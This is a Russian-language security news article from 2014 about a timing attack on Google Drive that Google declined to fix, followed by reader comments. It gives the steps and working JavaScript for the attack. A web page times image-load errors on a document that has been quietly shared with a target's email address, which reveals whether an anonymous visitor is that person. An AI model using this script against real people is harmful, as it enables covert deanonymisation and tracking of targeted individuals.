002

Хакер Эндрю Кантино (Andrew Cantino) традиционно участвует в программе Bug Bounty от компании Google, получая вознаграждение за найденные уязвимости. Однако, последний баг отдел безопасности Google не посчитал опасным и отказался выплачивать вознаграждение. Другими словами, Google не собирается закрывать уязвимость и разрешает публиковать информацию о ней в открытом доступе. Эндрю так и поступил.

Обнаруженная уязвимость позволяет проводить атаку по времени (timing attack) на пользователей Google. При таких атаках конфиденциальная информация добывается с помощью замера времени, затраченного на выполнение той или иной операции на компьютере жертвы. В данном случае атакующий может определить, есть ли у анонимного пользователя доступ к конкретному документу Google Drive. Это значит, что можно распознать конкретного человека среди всех анонимных посетителей вашего сайта.

Атака осуществляется просто. Публикуем на Google Drive произвольный документ и открываем его для просмотра пользователю с известным адресом электронной почты. При этом важно убрать галочку с пункта, который предусматривает рассылку уведомлений на указанные адреса электронной почты. Теперь мы установили «жучок» и узнаем, когда пользователь зайдёт на сайт.

Для деанонимизации конкретного юзера вредоносная веб-страница должна содержать ссылку на вышеупомянутый документ Google Drive. Например, загружать картинку с этого URL.

var urls = {
  hasAccess: "https://docs.google.com/document/....../edit",
  doesNotHaveAccess: "https://docs.google.com/document/....../edit"
};

function addImage(src, callback) {
  var elem = document.createElement("IMG");
  elem.src = src + "?r=" + Math.random();
  elem.onerror = callback;
  $("body").append(elem);
}

var times = {
  hasAccess: { sum: 0, count: 0 },
  doesNotHaveAccess: { sum: 0, count: 0 }
};

var testRuns = 40; // a smaller number can be used

function nextTest() {
  testRuns--;
  if (testRuns > 0) {
    var type = Math.random() > 0.5 ? 'hasAccess' : 'doesNotHaveAccess';
    var startTime = new Date().getTime();
    addImage(urls[type], function() {
      var endTime = new Date().getTime();
      times[type].count++;
      times[type].sum = times[type].sum + (endTime - startTime);
      setTimeout(nextTest, 100); // a shorter timeout is fine
    });
  } else {
    $("body").append("hasAccess: " + (times.hasAccess.sum / times.hasAccess.count) + "
" + "doesNotHaveAccess: " + (times.doesNotHaveAccess.sum / times.doesNotHaveAccess.count)); } } nextTest()

Результатом выполнения такого запроса будет onerror. Если документ доступен для пользователя, то ответ onerror придёт позже. Разница в скорости загрузки страницы составляет примерно 0,6 с против 0,9 с, то есть распознать нужного юзера довольно легко. Правда, с учётом зависимости от параметров интернет-канала, нужно ещё сравнивать показатель со средней скоростью загрузки других страниц, но всё равно атака выглядит вполне реальной.

Подобные методы подходят для проведения таргетированных атак на конкретных людей, на сотрудников конкретной фирмы и т.д.

Компания Google объяснила, что не будет закрывать уязвимость. Во-первых, баг не представляет особой опасности. Во-вторых, нет эффективного способа его устранить.

12 комментария

  1. 09.09.2014 at 16:40

    и что такого. даже гугл пофигу

  2. 09.09.2014 at 17:39

    решение: использовать не быстрый браузер 🙂

  3. 09.09.2014 at 18:49

    Анонимность и гугл, понятия несовместимые.

  4. 10.09.2014 at 02:43

    Какая же это деанонимизация? Для этого ж надо знать почту кажодго посетителя и поочерёдно открывать документ каждому из них и ждать, пока через него пройдут все посетители.

    • 10.09.2014 at 10:51

      …на конкретных людей, на сотрудников конкретной фирмы..

      Внимательно читать, когда научимся?

      • 10.09.2014 at 11:37

        Ты поставил лишнюю зкпятую. Когда научишься писать 4 слова без ошибок?
        А твоё дополнение всё равно не тянет на уязвимость. И деанонимизация весьма притянута сюда. Получается что-то вроде авторизации через гугл для избранных.

        • 10.09.2014 at 13:40

          Ты поставил лишнюю зкпятую.

          Ты букву в последнем слове перепутал.

          Когда научишься писать 4 слова без ошибок?

          А Вы кого спрашиваете? Себя?

        • 10.09.2014 at 13:52

          А твоё дополнение всё равно не тянет на уязвимость…

          А хакер Эндрю Кантино (Andrew Cantino) с тобой не согласится! И я тоже. Ты собираешься нас переспорить? Ну-ну…

  5. http://manlyelectronics.com.au/

    10.09.2014 at 05:20

    Говоря о вычислении по лагу. Я на прошлой неделе trace Facebook из разных мест. Быстрее всего было из Вашингтона – аж 25ms напротив всех остальных 0.5-5 секунд! Точнее быстрее всех доступ в FB у Maryland. Ну, на хрена FB оптимизировать лаг для Maryland (или даже иметь там основной центр
    данных), пусть даже для Вашингтона, ведь большинство пользователи и офис на
    другом конце страны?! Единственно, что мне пришло в голову это АНБ в Maryland.:) Короче пока я соображал, перепроверял, меня отвлекли. На следующий день весь FB не с того не сего перестроили (даже outage был, как объяснил FB – из-за проделанной сетевой конфигурации), теперь FB примерно одинаков откуда угодно.

  6. 10.09.2014 at 21:38

    то есть нужно знать email , нужно знать где сидит пользователь чтоб оценивать пинг
    и в итоге получится сказать что пользователь посещал подконтрольный сайт ?
    очень странная деаномизация получается

Оставить мнение